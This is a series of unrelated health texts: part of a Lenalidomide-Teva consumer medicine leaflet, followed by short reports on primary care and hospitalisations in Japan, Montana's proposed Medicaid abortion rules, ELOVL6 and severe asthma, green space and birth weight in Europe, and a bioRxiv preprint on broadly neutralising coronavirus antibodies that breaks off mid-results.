Do not donate blood during treatment or treatment interruption, or for at least 1 week after stopping treatment Driving or using machines Be careful driving or operating machinery until you know how Lenalidomide-Teva affects you Looking after your medicine Keep your capsules in a cool dry place where the temperature stays below 25C. Keep your capsules in the original package until it is time to take them. Keep this medicine where children cannot reach it For more information, see Section 5. What should I know while using Lenalidomide-Teva? in the full CMI.

Are there any side effects?

Tell your doctor or pharmacist as soon as possible if you do not feel well while you are taking Lenalidomide-Teva. Like all medicines, Lenalidomide-Teva can have side effects, although not everybody gets them. Sometimes they are serious, most of the time they are not. You may need medical attention if you get some of the side effects. For more information, including what to do if you have any side effects, see Section 6. Are there any side effects? in the full CMI. WARNING: Lenalidomide-Teva (lenalidomide) is structurally related to 'thalidomide', which is known to cause severe life-threatening human birth defects (deformed babies) and death to an unborn baby if taken during pregnancy. If Lenalidomide-Teva is taken during pregnancy, it may cause birth defects or death to an unborn baby. Do not take Lenalidomide-Teva if you are pregnant or think that you are pregnant.

Why am I using Lenalidomide-Teva?

Lenalidomide-Teva contains the active ingredient lenalidomide. Lenalidomide-Teva belongs to a group of medicines called immunomodulating agents that work by acting on the cells involved in the body's immune system. The immune system is part of the body's defence which helps to fight illness and infection.

Treatment of Multiple Myeloma Lenalidomide-Teva is used treat patients with Multiple Myeloma. Multiple myeloma (MM) is a cancer of the bone marrow.

Treatment of Myelodysplastic Syndromes Lenalidomide-Teva is also used to treat patients who have conditions called myelodysplastic syndromes (MDS) in whom the bone marrow does not produce enough mature blood cells. This causes a lack of healthy blood cells in the body. There are different types of MDS. Lenalidomide-Teva is approved to treat a type of MDS where part of chromosome 5 is missing. This type of MDS is known as deletion 5q MDS (or 5q minus). Patients with this type of MDS often have low red blood cell counts that require treatment with blood transfusions. It is hoped that the use of Lenalidomide-Teva will reduce the need for blood transfusions.

What should I know before I use Lenalidomide-Teva?

Warnings Do not use Lenalidomide-Teva if: you are allergic to lenalidomide, or any of the ingredients listed at the end of this leaflet. Always check the ingredients to make sure you can use this medicine. you are pregnant, or think that you are pregnant. Lenalidomide-Teva may cause birth defects (deformed babies), and may affect your developing baby if you take it during pregnancy. you are able to become pregnant, unless you are willing to follow the required Pregnancy Prevention Program - see section 4. How do I use Lenalidomide-Teva?

Check with your doctor if you: have any other medical conditions take any medicines for any other condition During treatment, you may be at risk of developing certain side effects. It is important you understand these risks and how to monitor for them. See additional information under Section 6. Are there any side effects

Pregnancy and breastfeeding Check with your doctor if you are pregnant or intend to become pregnant. Talk to your doctor if you are breastfeeding or intend to breastfeed.

The Pregnancy Prevention Program Lenalidomide-Teva (lenalidomide) is structurally related to 'thalidomide', which is known to cause severe life- threatening human birth defects (deformed babies) and can cause death to an unborn baby if taken during pregnancy. If Lenalidomide-Teva is taken during pregnancy, it may cause birth defects or death to an unborn baby. To avoid exposure to unborn babies, Lenalidomide-Teva is available only under a special distribution program which is designed to ensure that this medicine is always prescribed and taken in the recommended way. Importantly, only patients who are formally enrolled in this program and agree to fully comply with all the requirements of this program can receive Lenalidomide-Teva. Some of the requirements of Pregnancy Prevention Program are outlined in the following sections. Your doctor will discuss all the details with you.

FOR WOMEN TAKING LENALIDOMIDE-TEVA Before starting this treatment, your doctor will discuss your potential to become pregnant, even if you think this is unlikely e.g. if your periods have stopped. If you are able to become pregnant: Your doctor will discuss the potential risk to unborn babies if Lenalidomide-Teva is taken during pregnancy. You will be required to have pregnancy tests before treatment, every 4 weeks during treatment, and 4 weeks after stopping treatment. You should start your Lenalidomide-Teva treatment as soon as you get it from the pharmacy following a negative pregnancy test. Use reliable means of contraception for at least 4 weeks before starting Lenalidomide-Teva treatment, during treatment and treatment interruption, and for at least 4 weeks after Lenalidomide-Teva treatment has stopped. Your doctor will tell you what method of contraception to use. Effective methods of contraception include the following: Implant Levonorgestrel-releasing intrauterine system (IUS) Medroxyprogesterone acetate depot Tubal sterilisation Sexual intercourse with a vasectomised male partner only; vasectomy must be confirmed by two negative semen analyses Ovulation inhibitory progesterone-only pills (i.e. desogestrel). Combined oral contraceptive pills are not recommended as they can increase the risk of blood clots blocking blood vessels in patients with MM being treated with this medicine. You must stop taking Lenalidomide-Teva and inform your doctor straight away if: You miss or think you have missed a period, or you have unusual menstrual bleeding, or suspect you are pregnant. You have heterosexual intercourse without using reliable means of contraception. Discuss with your doctor if you should breast-feed whilst taking this medicine. It is not known if Lenalidomide-Teva is excreted in human milk. Therefore, you should discuss with your doctor whether to discontinue breast-feeding while you are receiving this medicine.

FOR MEN TAKING LENALIDOMIDE-TEVA Before starting this treatment, discuss with your doctor if your partner is able to become pregnant. If your partner is able to become pregnant, use barrier methods of contraception (e.g. condoms) even if you are vasectomised, during Lenalidomide-Teva treatment, during treatment interruption, and for at least 7 days after treatment has stopped. Tell your doctor immediately if your partner becomes pregnant whilst you are taking this medicine. Do not donate semen during treatment or during treatment interruption, or for 7 days after stopping treatment.

FOR ALL PATIENTS TAKING LENALIDOMIDE-TEVA Discuss with your doctor if you have or have had any of the following medical conditions: Heart attack, blood clots, high blood pressure or high cholesterol Frequent bleeding or bruising Frequent infections Hepatitis B virus infection Peripheral neuropathy (numbness, tingling, weakness, abnormal co-ordination or pain in your hands and feet) Thyroid problems Abnormal kidney function Liver problems e.g. liver infections Allergic reactions to thalidomide or lenalidomide. If you have not told your doctor about any of the above, tell him/ her before you start taking Lenalidomide-Teva. Do not donate blood during Lenalidomide-Teva treatment or during treatment interruption, and for at least 1 week after stopping treatment. In Australia, patients with certain cancers are permanently excluded from donating blood. Tell your doctor if you have allergies to any other medicines, foods, preservatives or dyes. Your doctor will ask you to have regular blood tests during treatment with Lenalidomide-Teva. Your doctor may adjust your dose of Lenalidomide-Teva or stop your treatment based on the results of your blood tests and on your general condition. If you are older than 65 years, in addition to these blood tests, your doctor may also check your kidney function with other tests. Do not give this medicine to a child or adolescent under the age of 18 years. Safety and effectiveness in children younger than 18 years have not been established. It is important to note that a small number of patients with MM may develop additional types of cancer (regardless of their type of therapy). At this stage, it cannot be excluded that this risk may be slightly increased with Lenalidomide-Teva treatment. Therefore, your doctor will carefully evaluate the benefit and risk when you are prescribed this medicine

What if I am taking other medicines?

Tell your doctor or pharmacist if you are taking any other medicines, including any medicines, vitamins or supplements that you buy without a prescription from your pharmacy, supermarket or health food shop. Some medicines may interfere with Lenalidomide-Teva and affect how it works. medicines used to prevent pregnancy, such as oral contraceptives medicines used to treat symptoms of menopause e.g. hormone replacement therapy medicines used for heart problems e.g. digoxin medicines used to thin the blood e.g. warfarin. Check with your doctor or pharmacist if you are not sure about what medicines, vitamins or supplements you are taking and if these affect Lenalidomide-Teva.

How do I use Lenalidomide-Teva?

How much to take Your doctor will tell you how much Lenalidomide-Teva to take and for how long you will need to take it. For treatment of NDMM in combination with bortezomib and dexamethasone, the usual starting dose of Lenalidomide-Teva is 25 mg once daily. Your doctor will tell you if you are to take Lenalidomide-Teva for 14 continuous days of a 21-Day cycle or for 21 continuous days of a 28-Day cycle. Your doctor will also tell you the duration and the quantity of the other medicines to be taken in combination with Lenalidomide-Teva. After the initial treatment of about 24 weeks, you may have a stem cell transplant or your doctor may ask you to take 25 mg of Lenalidomide-Teva once daily for 21 days of a 28-Day cycle continuously. For the treatment of NDMM after a stem cell transplant, the usual starting dose is 10 mg once daily continuously (28 days of a 28-Day cycle). For the treatment of MM in combination with dexamethasone (either NDMM in patients not eligible for stem cell transplantation or MM in patients whose disease has progressed after one therapy), the usual starting dose is 25 mg once a day for 21 days of a 28-Day cycle. For the treatment of MDS, the recommended starting dose is 10 mg once a day for 21 days of a 28-Day cycle. Your doctor will monitor your progress, and may adjust your dose of Lenalidomide-Teva or stop your treatment based on the results of your blood tests and on your general condition.

How to take it Swallow the capsules whole, preferably with water, once a day as directed by your doctor. Do not open, break or chew the capsules. If powder from inside the capsules leaks out and contacts the skin, wash the skin immediately and thoroughly with soap and water. If lenalidomide contacts the mucous membranes e.g. the eyes, flush thoroughly with water.

When to take Lenalidomide-Teva Lenalidomide-Teva should be taken either one hour before or two hours after eating food.

How long to take Lenalidomide-Teva Continue taking Lenalidomide-Teva as instructed by your doctor, until your doctor tells you to stop. Your doctor will keep a close check on you to make sure you continue to benefit from Lenalidomide-Teva.

If you forget to take Lenalidomide-Teva If it is less than 12 hours before your next dose, skip the dose you missed and take the next dose when you are meant to. Otherwise, take it as soon as you remember, and then go back to taking your medicine as you would normally. Do not take a double dose to make up for the dose you missed. If you are not sure what to do, ask your doctor or pharmacist. If you have trouble remembering when to take your medicine, ask your pharmacist for some hints.

If you take too much Lenalidomide-Teva If you think that you have used too much Lenalidomide-Teva, you may need urgent medical attention. You should immediately: phone the Poisons Information Centre

(by calling 13 11 26), or contact your doctor, or go to the Emergency Department at your nearest hospital. You should do this even if there are no signs of discomfort or poisoning.

What should I know while using Lenalidomide-Teva?

Things you must do FEMALE PATIENTS: Tell your doctor immediately if you become pregnant or suspect that you may be pregnant. You should also immediately stop taking Lenalidomide-Teva in this case. ALL PATIENTS: Tell any other doctors, dentists, and pharmacists who are treating you that you are taking Lenalidomide-Teva. If you are about to be started on any new medicine, remind your doctor, dentist or pharmacist that you are taking Lenalidomide-Teva. Keep all of your doctor's appointments so that your progress can be checked. Your doctor will do some blood tests regularly and will check your general condition to make sure the medicine is working and to prevent unwanted side effects. Remind any doctor, dentist or pharmacist you visit that you are using Lenalidomide-Teva.

Things you must not do

FEMALE PATIENTS: Do not become pregnant whilst taking Lenalidomide-Teva. Do not have sexual intercourse without using effective means of contraception described to you by your doctor.

MALE PATIENTS: Do not donate sperm during treatment or treatment interruption, or for at least 1 week after stopping treatment. Lenalidomide-Teva can pass into human semen. Do not have sexual intercourse without using effective means of contraception described to you by your doctor.

ALL PATIENTS: Do not donate blood during treatment or treatment interruption, or for at least 1 week after stopping treatment. In Australia, patients with some types of cancer are permanently excluded from donating blood. Do not stop taking Lenalidomide-Teva (unless you suspect that you are pregnant) or change the dose without first checking with your doctor. Do not let yourself run out of medicine over the weekend or on holidays. Do not give this medicine to anyone else, even if they have the same condition as you. Do not take this medicine to treat any other complaints unless your doctor or pharmacist tells you to. Do not take this medicine after the expiry date printed on the pack or if the packaging is torn or shows signs of tampering. In that case, return it to your pharmacist.

Driving or using machines Be careful before you drive or use any machines or tools until you know how Lenalidomide-Teva affects you. Lenalidomide-Teva may cause dizziness, tiredness or blurred vision in some people. If you have any of these symptoms, do not drive, operate machinery or do anything else that could be dangerous.

Looking after your medicine Keep your capsules in a cool dry place where the temperature stays below 25C. Keep your capsules in the original package until it is time to take them. Follow the instructions in the carton on how to take care of your medicine properly. Store it in a cool dry place away from moisture, heat or sunlight; for example, do not store it: in the bathroom or near a sink, or in the car or on window sills. Keep it where young children cannot reach it. A locked cupboard at least one-and- a-half metres above the ground is a good place to store medicines.

Getting rid of any unwanted medicine If you no longer need to use this medicine or it is out of date, take it to any pharmacy for safe disposal. Do not use this medicine after the expiry date.

Are there any side effects?

All medicines can have side effects. If you do experience any side effects, most of them are minor and temporary. However, some side effects may need medical attention. Some side effects (for example, changes in thyroid function, or blood pressure) can only be found when your doctor does tests from time to time to check your progress. See the information below and, if you need to, ask your doctor or pharmacist if you have any further questions about side effects.

Less serious side effects Less serious side effects What to do Diarrhoea; constipation; feeling sick (also called nausea); vomiting; stomach pain; indigestion; dehydration; dry mouth; sore mouth: mouth ulcers: difficulty in speaking toothache; increase or decrease in weight; increase or decrease in appetite; loss of taste. Itchiness; rash; redness of the skin; dry skin; bruising; excessive sweating. Dizziness; fainting; headache; shaking or tremors; unusual weakness; night sweats; reduced sense of touch. Difficulty sleeping; depression; anxiety; feeling of confusion. Back pain; muscle spasms; muscle and/or joint pain; swollen joints; bone pain; muscular weakness; pain in the extremities; feeling tired; fall. Swelling of hands, ankles or feet Speak to your doctor if you have any of these less serious side effects and they worry you.

Serious side effects Serious side effects What to do Heart palpitations or fast heart beat, chest pains, dizziness or fainting, shortness of breath, weakness, or reduced ability to exercise.

These could be symptoms of atrial fibrillation (irregular heart beat) or tachycardia (fast heart beat). Bleeding (including nose-bleeds) or bruising more easily than normal.

Lenalidomide-Teva can reduce the number of platelets, which are responsible for making the blood clot properly. Your doctor may monitor your blood cell numbers during treatment with Lenalidomide-Teva. Tiredness, headaches, shortness of breath, dizziness and looking pale.

Lenalidomide-Teva can reduce the number of red blood cells that carry oxygen around the body. Numbness, tingling, pins and needles or weakness of the arms and legs.

This may be due to nerve damage. Blurred vision or difficulty seeing.

This could be due to a cataract in your eye(s). Passing large amounts of urine, excessive thirst, and having a dry mouth and skin.

These could be symptoms of high blood sugar or diabetes. Abnormal eye movements, convulsions, mood changes or irregular heart rhythms.

These could be due to low levels of minerals such as potassium, calcium, magnesium or sodium. Tender swollen lymph nodes, low-grade fever, pain, or rash.

This could be due to worsening of your tumour (for patients with MCL). Call your doctor straight away, or go straight to the Emergency Department at your nearest hospital if you notice any of these serious side effects.

Very serious side effects Very serious side effects What to do Shortness of breath, wheezing or difficulty breathing; swelling of the face, lips, mouth, tongue or other parts of the body; rash, itching or hives on the skin.

These could be symptoms of an allergic reaction. Severe blisters and bleeding in the lips, eyes, mouth, nose and genitals; painful red area on the skin that spreads quickly; peeling of the skin. You may have a high temperature, chills and muscle ache at the same time.

These could be due to rare but severe skin reactions such as Stevens-Johnson Syndrome, Toxic Epidermal Necrolysis and Drug Reaction with Eosinophilia and Systemic Symptoms. Blurred vision; severe headache; weakness or numbness in the face, arm or leg; trouble speaking or understanding; loss of balance.

This may be due to a stroke which could be a result of blood clots in the blood vessels of your brain. Sudden pain in your chest or difficulty in breathing.

This may be due to a heart attack or blood clots in the artery leading to your lungs. These blood clots can happen during treatment, or after treatment has stopped. Chest pain, severe weakness, rapid or irregular heartbeat, and/or sudden, severe shortness of breath and coughing up pink, foamy mucus.

This could be due to heart failure, a condition where the heart muscle cannot pump blood strongly enough to supply blood throughout the body. Pain or swelling in your legs, especially in your lower leg or calves.

This may be due to blood clots in the veins of your leg. These can happen during treatment, or after treatment has stopped. Fever; severe chills; decreased urination; rapid pulse; rapid breathing; confusion; nausea; vomiting; diarrhoea; pain or burning when you urinate; hacking cough; phlegm; sore mouth or throat; flu-like symptoms; feeling of tension in the nose, cheeks and behind your eyes; or mouth ulcers.

These could symptoms of sepsis (blood infection) or other serious infections such as pneumonia. Passing little or no urine; drowsiness; nausea; vomiting; or breathlessness.

These could be symptoms of kidney disease. Abdominal pain, dark urine, fever, joint pain, loss of appetite, nausea and vomiting, yellowing of the skin and/or eyes.

These are symptoms of liver failure, which in some cases, may be due to Hepatitis B virus infection. Some cases of Hepatitis B virus infection may not result in symptoms initially. Call your doctor straight away, or go straight to the Emergency Department at your nearest hospital if you notice any of these very serious side effects. You may need urgent medical attention or hospitalisation Tell your doctor or pharmacist if you notice anything else that may be making you feel unwell. Other side effects not listed here may occur in some people.

Reporting side effects After you have received medical advice for any side effects you experience, you can report side effects to the Therapeutic Goods Administration online at www.tga.gov.au/reporting-problems . By reporting side effects, you can help provide more information on the safety of this medicine. Always make sure you speak to your doctor or pharmacist before you decide to stop taking any of your medicines.

Product details

This medicine is only available with a doctor's prescription.

What Lenalidomide-Teva contains Active ingredient (main ingredient) Lenalidomide (as lenalidomide hydrochloride monohydrate) Other ingredients (inactive ingredients) colloidal anhydrous silica microcrystalline cellulose croscarmellose sodium purified talc The capsule shells contain gelatin, titanium dioxide , black ink, and the following colourants: 2.5 mg, 10 mg and 20 mg (indigo carmine aluminium lake, and iron oxide yellow); 7.5 mg (iron oxide yellow); and 15 mg (indigo carmine aluminium lake. The black printing ink used on the capsules contains shellac, ethanol absolute, isopropyl alcohol, butan-1-ol, propylene glycol, purified water , strong ammonia solution, potassium hydroxide, and iron oxide black. Do not take this medicine if you are allergic to any of these ingredients.

What Lenalidomide-Teva looks like The capsules are provided in packs. There are three (3) pack sizes available. A pack will contain either two blisters, each with seven capsules, giving a total of fourteen (14) capsules per pack; three blisters, each with seven capsules, giving a total of twenty-one (21) capsules per pack or four blisters, each with seven capsules, giving a total of twenty-eight (28) capsules per pack. Some strengths and pack sizes of Lenalidomide-Teva may not be available as not all strengths and pack sizes are being distributed. Lenalidomide-Teva 2.5 mg capsules: hard, non-transparent capsules with black mark 2.5 on white body and with green cap. Lenalidomide-Teva 5 mg capsules: hard, non-transparent capsules with black mark 5 on white body and with white cap. Lenalidomide-Teva 7.5 mg capsules: hard, non-transparent capsules with black mark 7.5 on white body and with ivory cap. Lenalidomide-Teva 10 mg capsules: hard, non-transparent capsules with black mark 10 on ivory body and with green cap. Lenalidomide-Teva 15 mg capsules: hard, non-transparent capsules with black mark 15 on white body and with blue cap. Lenalidomide-Teva 20 mg capsules: hard, non-transparent capsules with black mark 20 on blue body and with green cap. Lenalidomide-Teva 25 mg capsules: hard, non-transparent capsules with black mark 25 on white body and with white cap. Australian Registration Number: Lenalidomide-Teva 2.5 mg AUST R 340333 Lenalidomide-Teva 5 mg AUST R 340336 Lenalidomide-Teva 7.5 mg AUST R 340345 Lenalidomide-Teva 10 mg AUST R 340337 Lenalidomide-Teva 15 mg AUST R 340338 Lenalidomide-Teva 20 mg AUST R 340334 Lenalidomide-Teva 25 mg AUST R 340335
Japanese researchers examined the association between primary care practice characteristics and total hospitalizations during the COVID-19 pandemic. They conducted a nationwide study and examined data from 1,161 participants ages 40-75.

They assessed the quality of primary care attributes, including first contact between the patient and a primary care clinician, length of care, care coordination, comprehensiveness and the clinic's orientation in the community. Researchers primarily sought to identify any hospitalizations among participants during a 12-month period between May 2021 and April 2022.

Each primary care attribute  such as accessibility, continuity, coordination and comprehensiveness  was associated with a reduction in hospitalizations. High-quality primary care was associated with decreased total hospitalizations, even during a pandemic when there are many barriers to providing routine medical care. The authors argued that these findings support policies intended to strengthen primary care systems during and after the COVID-19 pandemic. The integration of public health practice with the delivery of primary care services may be a more important process, especially during a pandemic.
Montana's conservative leaders, stymied by the courts from passing laws that impose significant statewide abortion restrictions, seek to tighten the state's Medicaid rules to make it more difficult for low-income women to receive abortions.

The Montana Department of Public Health and Human Services is proposing to define when an abortion is medically necessary, limit who can perform such services, and require preauthorization for most cases.

The push to change the regulations is borne of a belief by Republican Gov. Greg Gianforte's administration that health providers are using existing rules that allow Medicaid reimbursements to cover abortions that aren't medically necessary.

"Taxpayers shouldnt foot the bill for elective abortions," said Gianforte spokesperson Brooke Stroyke.

Medical professionals have said the term elective abortions can misrepresent the complex reasons someone may seek an abortion and constrain health providers from making their best clinical judgment. Laurie Sobel, associate director of Womens Health Policy at KFF, said that appears to be the aim of the Montana proposal's focus on defining medically necessary abortions.

"It looks like Montana's trying to curtail abortion access under Medicaid and take the conversation of 'medically necessary' away from a physician and a patient," Sobel said.

Democratic lawmakers and many health providers have said existing state rules ensure providers consider and document why an abortion is needed to protect a patient.

Democratic state Rep. Ed Stafman, who recently chaired the Children, Families, Health, and Human Services Interim Committee, said the proposed changes are unnecessary because the state already complies with federal Medicaid rules on abortion.

"Its clear that this is part of the anti-abortion agenda, Stafman said.

States are barred from using federal funds to pay for abortions except in cases of rape or incest, or when a woman's life is at risk. However, states have the option of using their own money to allow reimbursements under the joint state-federal Medicaid program in other circumstances.

Montana is one of 16 states that allow the use of state Medicaid funds for abortions deemed medically necessary. A study published in 2017 in the journal Obstetrics & Gynecology found that states with Medicaid coverage of medically necessary abortions had a reduced risk of severe maternal morbidity for that population, 16% on average, compared with states without that coverage.

Montana's proposed changes are more restrictive than the rules in many of the other states that allow medically necessary Medicaid abortions. At least nine states that use state funds to pay for Medicaid abortions don't require health providers to report the circumstances for an abortion, according to a 2019 U.S. Government Accountability Office report on state compliance with abortion coverage rules. For example, California's Medi-Cal program does not require any medical justification for abortions, and requires preauthorization only when the patient needs to be hospitalized.

Most of the states that permit medically necessary Medicaid abortions, including Montana, are under court orders to fund the procedure as they would other general health services for low-income people.

Montana's coverage is tethered to a 1995 court case that determined the state's Medicaid program was established to provide "necessary medical services" and the state can't exclude specific services. The state's existing eligibility rules governing when a Medicaid-funded service is medically necessary include when a pregnancy would cause suffering, pain, or a physical deformity; result in illness or infirmity; or threaten to cause or aggravate a disability.

Under the health department's new proposal, abortions would be determined to be medically necessary only when a physician  not another type of provider  certifies a patient suffers from an illness, condition, or injury that threatens their life or has a physical or psychological condition that would be "significantly aggravated" by pregnancy.

Elsewhere, courts have rejected some states' attempts to create a definition for medically necessary abortions apart from existing Medicaid standards as constitutional violations of equal protection. The Alaska Supreme Court struck down a 2013 state law changing the definition of a medically necessary abortion because it treated Medicaid beneficiaries who wanted an abortion differently than those seeking pregnancy-related procedures like a cesarean section. And New Mexico's high court said in 1999 that a state rule limiting Medicaid-funded abortions applied different standards of medical necessity to men and women.

Montana opponents of the proposed changes have threatened to sue if the regulations are adopted.

The state's Medicaid program covers more than 153,900 women. From 2011 through 2021, the program paid for 5,614 abortion procedures, which typically represents nearly a third of all abortions in the state, according to state data.

Currently in Montana, doctors, physician assistants, and advanced nurse practitioners are allowed to perform abortions. At least one Montana clinic that provides abortions to Medicaid beneficiaries is run by a nurse practitioner, All Families Healthcare's Helen Weems, who is suing the state for trying to block nurses from performing abortions.

Medical providers make the decision of whether an abortion is medically necessary and submit a form afterward to the state health department.

The proposed change would require providers to get state approval before performing an abortion, except in emergencies, and submit supporting documents to justify the medical necessity. That preauthorization process would entail providing state officials details of patients' medical history, such as how many pregnancies a person has had, the date of their last menstrual cycle, whether they smoke, the results of any pregnancy tests, and whether they have ever had behavioral health issues or substance use disorders.

Martha Fuller, president and CEO of Planned Parenthood of Montana, said providers already collect that information but don't send it to the state. If they are required to do so, she said, that will have a chilling effect that may keep people from seeking help or lead them to pay for it out-of-pocket, if they can.

"Patients could feel like, Oh, and everything that I tell you, its going to be now shared with my insurer for the purpose of them making a decision about whether or not I can have an abortion?'" Fuller said.

In Montana, a patient seeking an abortion via medication typically gets that through nurse practitioners or physician assistants instead of going through one of the few physicians who provide that care through Medicaid, Fuller said. She said Medicaid patients would see longer wait times if the new rules are put in place as they wait to see a physician. And waiting for prior authorization would add to the time in limbo.

Telehealth helps provide access amid scattered resources across the big, rural state, but Montana's proposed changes would require a physical examination.

"Patients might have to make a more invasive procedure. They may have to travel. They have to take more time off from work," Fuller said. "There will be patients who will decide not to seek abortion care because they cannot afford it."

Of the 1,418 abortions covered by Montana Medicaid in 2020 and 2021, state records show, one was performed because a person's life was in danger. The rest were performed under the broader medically necessary justification, with paperwork about those cases including a brief explanation for why the procedure was needed.

According to the state's proposed rules, the lack of supporting documentation for the procedures leads "the department to reasonably believe that the Medicaid program is paying for abortions that are not actually medically necessary."

In 2021, state lawmakers passed and Gianforte signed three laws restricting abortions that a court temporarily blocked. The Montana Supreme Court upheld the injunction, arguing that the state constitution's right-to-privacy provision extends to abortion.

Gianforte and the state attorney general have called on the Montana Supreme Court to strike down the two-decade-old ruling that tied abortion to the right to privacy. Republican lawmakers also have filed a slew of abortion-related bills in the legislative session, including one proposal to exclude abortion from the state's right-to-privacy protections.
Bronchial asthma, a chronic inflammatory disease of the airways that is reversible in certain cases, usually presents with cough, difficulty of breathing, and wheezing. Although most people can successfully control asthma using inhaled corticosteroids, approximately 10% of patients are resistant to treatment. Recent evidence has suggested a link between the excessive intake of fatty acids and exacerbation of asthma, but the details of the relationship had remained elusive.

In a study recently published in the Journal of Allergy and Clinical Immunology, a research group from the University of Tsukuba shed light on this knowledge gap. The group focused on the function of an enzyme called ELOVL6, which is responsible for the biosynthesis of long-chain fatty acids in humans. Dysfunction of ELOVL6 has been linked to various immune-related conditions, and thus, the group hypothesized a link between ELOVL6 and asthma.

Improper function of ELOVL6 has been linked to diseases, such as atopic dermatitis, which is similar to asthma; both are related to immune response-mediated inflammation. To investigate the role of ELOVL6 in asthma, we created an asthma mouse model that was lacking the ELOVL6 enzyme and investigated its fatty acid profile and allergen-response of the mouse airways." Yuko Morishima, Senior Author

The group also assessed the levels of ELOVL6 in the airways of severely asthmatic patients.

The data confirmed that the expression of ELOVL6 is reduced in patients with severe asthma i.e., patients whose asthma was not controlled despite intense treatment. Interestingly, there was no significant difference in the patients' BMI when compared to non-asthmatic controls, which concurs with the groups data in the mouse model that showed that a deletion of ELOVL6 affected the fatty acid composition in mouse lungs but did not contribute to weight gain. Furthermore, the mice lacking ELOVL6 had enhanced airway inflammation, as well as enhanced goblet cell hyperplasia and airway responsiveness in response to allergens.

The study revealed that deletion of ELOVL6 increased the amounts of a class of lipids called ceramides in mice airways and also resulted in increased levels of a ceramide metabolite called S1P. "S1P is known to be potentially related to allergic inflammation, thus we wondered what effect inhibiting its synthesis would have on our ELOVL6-deficient mouse model," says Morishima. "Fascinatingly, we found that drug-induced inhibition of ceramide and S1P synthesis reduced not only airway inflammation in our model but also reduced the migration of immune cells out of lymph nodes and their cytokine production".

These results partially uncovered the mechanism of treatment-resistant asthma, showing that the composition of lipids is pivotal in the inflammatory response. Importantly, the study provided a proof-of-concept of a novel treatment method for recalcitrant asthma by modulating the lipid composition, setting the groundwork for future studies.

This work was supported by a Grant-in-Aid for Scientific Research (No. 18K08168) from the Japan Society for the Promotion of Science and the Basic Research Support Program from the Japanese Society of Allergology 2020.
There is scientific evidence that maternal exposure to natural environments supports healthy fetal growth. However, study results up to date had been heterogeneous across regions and there is very little research on the effects of blue spaces such as rivers, the sea or lakes. A new study involving a team from the Barcelona Institute for Global Health (ISGlobal), an institution supported by "la Caixa" Foundation", assessed the associations between maternal exposure to green and blue spaces during pregnancy and birth outcomes in 11 birth cohorts from nine European countries, including Spain.

The results of the study, published in the journal Environment International, indicate that proximity to residential green space is associated with higher birth weight and lower odds of having a small-for-gestational-age baby, or SGA, as newborns whose birth weight is less than or equal to the 10th lower percentile are called. In contrast, greater distance to residential green space is associated with lower birth weight and higher odds of SGA. The results showed almost no associations for accessibility to green spaces and exposure and accessibility to blue spaces.

A healthy fetal growth can greatly reduce the risk of adverse health outcomes, both early and later in life. For example, babies with low birth weight or being SGA could have an increased risk of growth impairment, lower IQ and premature death in childhood, as well as obesity, cardiovascular disease and diabetes in adulthood." Maria Torres, first author of the study

This study, part of the LifeCycle project, was based on a sample of 69,683 newborns, with an average birth weight of 3.42 kg, of whom 6.6% were classified as SGA. For each participant, seven indicators of residential exposure to natural environments were calculated: surrounding green space within 100, 300 and 500 metres of the household - calculated using the Normalised Difference Vegetation Index (NDVI)-, distance to the nearest green space, accessibility to green space, distance to the nearest blue space and accessibility to blue space.

The research team also evaluated the potential effect modification by socioeconomic status (SES) and region of Europe. The results indicate stronger associations between residential green spaces and higher birth weight for participants with lower educational levels, from more deprived areas, and residing in the Northern European region.

The results of this study are in line with previous research from various regions around the world. An increasing number of studies have reported associations between maternal exposure to green spaces and higher birth weight. However, most of these studies were conducted in a single country with a particular climate and vegetation type, and estimates of the effect differed from region to region. "Capitalising on data from 11 birth cohorts across Europe allowed us to assess, for the first time, this association in different countries and shed light on the regional role in this issue", explains Payam Dadvand, ISGlobal researcher and senior author of the study.

The research involved people from the Netherlands, United Kingdom, Denmark, France, Spain, Lithuania, Norway, Italy and Greece. According to the authors, the results of this study could support the implementation of policies to promote natural environments in our cities, starting with the most disadvantaged areas. "Having accessible natural environments in our cities could benefit our children's health from before birth and beyond, and this should be taken into account by urban designers," concludes Maria Torres.
In a recent study posted to the bioRxiv* preprint server, researchers assessed the effectiveness of pan-sarbecovirus-neutralizing antibodies against severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2).

*Important notice: bioRxiv publishes preliminary scientific reports that are not peer-reviewed and, therefore, should not be regarded as conclusive, guide clinical practice/health-related behavior, or treated as established information.

Background

Within the past two decades, the zoonotic spread of coronaviruses has produced three pandemics of serious respiratory illnesses. Despite the rapid development of coronavirus disease 2019 (COVID-19) vaccines and antibodies, several SARS-CoV-2 variants of concern (VOCs) have evolved.

Recent investigations have shown that the efficacy of the BNT162b2 vaccination during the SARS-CoV-2 Omicron BA.4/5 infection waves was less than 50% post-two or three doses, while a fourth dose elicited only a minor, temporary increase in Omicron-neutralizing antibody levels. In addition, therapeutic antibodies currently available have diminished effectiveness against Omicron variants, highlighting the need for broad protective vaccinations and monoclonal antibodies.

About the study

In the present study, researchers detected strong pan-sarbecovirus antibodies among non-human primates vaccinated against SARS-CoV-2 with a subunit vaccine adjuvanted with AS03.

The team investigated the antigen-specific memory B cell responses of peripheral blood mononuclear cells (PBMC) samples obtained from rhesus macaques vaccinated with receptor-binding domain (RBD)-nucleoprotein (NP) adjuvanted with AS03, Alum, AS37, CpG, or O/W. The circulating SARS-CoV-2 RBD-specific immunoglobulin (Ig)G+ memory B cells (MBCs) were estimated using fluorescently-labeled probes and flow cytometry.

Additionally, the team assessed MBC responses by utilizing PBMC samples obtained from macaques vaccinated with a two-dose primary vaccine of either AS03-adjuvanted RBD-NP or Hexapro-NP at days zero and 21, after which a booster AS03 adjuvanted RBD (beta)-NP vaccine was administered one year later. Furthermore, the antibody response and the MBCs in the blood of the RBD-NP-AS03- or Hexapro-NP-AS03-vaccinated were assessed over 1.5 years.

The top 206 SARS-CoV-2 Omicron BA.1-binding monoclonal antibodies (mAbs) were then selected for neutralization screening compared to the pseudotyped SARS-CoV-2 Wuhan strain and the BA.1 and BA.4/5 sublineages. The team also evaluated the neutralization activities as a function of time after vaccination to see if antibody maturation with respect to cross-reactivity or binding translated into increased neutralizing breath or potency.

Results

The team noted that the somatic hypermutation (SHM) of the variable (V) gene, MBC frequency, and CDR3 amino-acid length were similar between the differentially adjuvanted cohorts, indicating that vaccination using distinct adjuvants induced a comparable pattern with respect to antigen-specific memory B cell responses. The booster vaccination elicited robust and broadly neutralizing antibodies against SARS-CoV-2 Omicron VOCs. Intriguingly, these Omicron-neutralizing antibodies were not observed five to six months after the primary vaccination.

